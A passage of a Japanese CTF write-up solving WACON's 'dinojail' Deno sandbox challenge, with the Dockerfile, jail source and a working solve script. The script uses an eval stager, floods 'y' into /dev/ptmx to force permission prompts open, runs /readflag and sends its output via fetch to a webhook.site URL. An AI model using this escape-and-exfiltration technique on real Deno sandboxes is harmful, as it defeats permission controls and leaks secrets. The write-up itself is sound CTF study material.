ソースコードが与えられている。まずは Dockerfile から。--allow-write, --allow-read, --allow-ffi, --unstable と色々ヤバそうなものを許可しつつ jail.js を実行している。フラグの取得は /readflag の実行によってできる。

FROM denoland/deno@sha256:b703c0e2f44c36fb00c11715f60bddcdddc465f22a9758b6e1430ec5584cc04b

RUN apt update
RUN apt install gcc -y

COPY ./jail.js /jail.js
COPY ./flag.txt /flag.txt
COPY ./readflag.c /tmp/readflag.c

RUN gcc -static -o /readflag /tmp/readflag.c
RUN rm /tmp/readflag.c

RUN chmod 444 /jail.js
RUN chmod 400 /flag.txt
RUN chown root /flag.txt /jail.js /readflag
RUN chmod u+s /readflag

ENTRYPOINT ["timeout","-s9","3","deno","run","--allow-write","--allow-read","--allow-ffi","--unstable","/jail.js"]

jail.js は次の通りで、こちらもシンプル。FFIはlibcの関数を呼び出すために使われていて、まずはUIDとGIDを1337にセットしつつ、stdin, stdout, stderrを全部閉じている。これらが成功したらFFIパーミッションを取り消し、コマンドライン引数から与えられたコードを実行する。ただし、実行できるコードは最大100文字という制限がある。

let sbxed = await (async _=>{
    let lib = Deno.dlopen( "/lib/x86_64-linux-gnu/libc.so.6",{
        close: { parameters: ["i32"], result: "i32"},
        setuid: { parameters: ["i32"], result: "i32"},
        setgid: { parameters: ["i32"], result: "i32"}
    });
    let syms = lib.symbols;

    if(
        !syms.setgid(1337) &&
        !syms.setuid(1337) &&
        !syms.close(0) &&
        !syms.close(1) &&
        !syms.close(2)
    ){
        lib.close();
        await Deno.permissions.revoke({name:'ffi'});
        return true;
    }
    return false;
})()

if(sbxed){
    eval(atob(Deno.args[0]).slice(0,100))
}

まず、100文字で大したことができるわけがないので、stager的に追加でどこからかコードを読み込んでこれないかと考える。そのためにstdinが開いていれば嬉しかったのだけれども、残念ながらできない。/dev/tty を再度開いてなんとかすることを考えて以下のようにローカルで動くことを確認する…が、リモートではなぜかできない。

$ docker run --rm -it dinojail $(echo -en 'Deno.openSync("/dev/tty",{write:!0}).write((new TextEncoder).encode("foo"))' | base64 -w0)
foo
$ nc 58.229.185.56 2323
I will run `docker run --rm dinojail $input`. Your input must match /^[A-Za-z0-9=+\/]+$/
input: RGVuby5vcGVuU3luYygiL2Rldi90dHkiLHt3cml0ZTohMH0pLndyaXRlKChuZXcgVGV4dEVuY29kZXIpLmVuY29kZSgiZm9vIikp
Executing
Executed

解法

競技中はこれで詰まって終わりだった。競技終了後にDiscordをチェックしたところ、perfect blueJazzyさんによって解法が共有されていた。まず100文字の制限を atob(Deno.args[0]).slice(100) でバイパスするというところから驚く。問題文で与えられたサーバに接続すると、入力の検証が入った後に docker run で先程のコードが走るのだけれども、文字種の確認はされていても、長さの確認はされていなかったらしい。

$ nc 58.229.185.56 2323
I will run `docker run --rm dinojail $input`. Your input must match /^[A-Za-z0-9=+\/]+$/
input: こんにちは
Bad or too long input
$ nc 58.229.185.56 2323
I will run `docker run --rm dinojail $input`. Your input must match /^[A-Za-z0-9=+\/]+$/
input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Executing
Executed

そして /dev/ptmx を開き、それに対して大量の y を流し込みつつ Deno.Command でOSコマンドの実行を試みていた。本来であれば、オプションで許可されていないアクションを実行しようとすると、以下のように一時的に許可してもよいかというプロンプトが表示される。ここで y を入力すると --allow-run がオプションで与えられた場合と同様にOSコマンドが実行されるのだけれども、前述の方法で無理やり許可させているようだ。あとは実行結果を fetch で外部に流すだけ。fetch の実行には --allow-net が必要だが、これも y を流し込んでいるおかげで許可される。なるほどなあ。

$ cat test.js
console.log(String.fromCharCode(...new Deno.Command("/bin/date").outputSync().stdout))
$ deno run test.js
┌ ⚠️  Deno requests run access to "/bin/date".
├ Requested by `Deno.Command().outputSync()` API.
├ Run again with --allow-run to bypass this prompt.
└ Allow? [y/n/A] (y = yes, allow; n = no, deny; A = allow all run permissions) >

Jazzyさんのexploitを参考に自分でもやってみる。

$ cat solve.js
console.log(btoa(
    "eval(atob(Deno.args[0]).slice(100))".padEnd(100, ";") +
    `
    const stdin = Deno.openSync("/dev/ptmx", {read: true, write: true});
    const stdout = Deno.openSync("/dev/ptmx", {read:true, write: true});
    const stderr = Deno.openSync("/dev/ptmx", {read:true, write: true});
    stdin.write(new TextEncoder().encode("y\\n".repeat(10000)));

    let r = String.fromCharCode(...new Deno.Command("/readflag").outputSync().stdout);
    fetch("https://webhook.site/8d75b26b-d19f-49ee-9dca-6cd5ae0b27a1?"+r);
    `
));
$ deno run solve.js | nc 58.229.185.56 2323
I will run `docker run --rm dinojail $input`. Your input must match /^[A-Za-z0-9=+\/]+$/
input: Executing
Executed

何度か試すとフラグが降ってきた。

WACON{e071cdc16f51b8e96f4d6993c10e6f02}  

ほかのDenoのサンドボックス問だと、SECCON CTF 2022 Quals - denoboxDiceCTF 2022 - denoblogも面白い。

*1:画像フラグで長文かつランダムなのはよくないと思う

*2:そして最近よくこれに関連する脆弱性にCVEが発番されていることで知られる

*3:最近なんとなくhttpxを使っている

*4:Reflected File Download(RFD)で応用できそう

*5:文字コードがGBKだとバイパスできるというテクがあるが、当然ながら今回はUTF-8が使われていた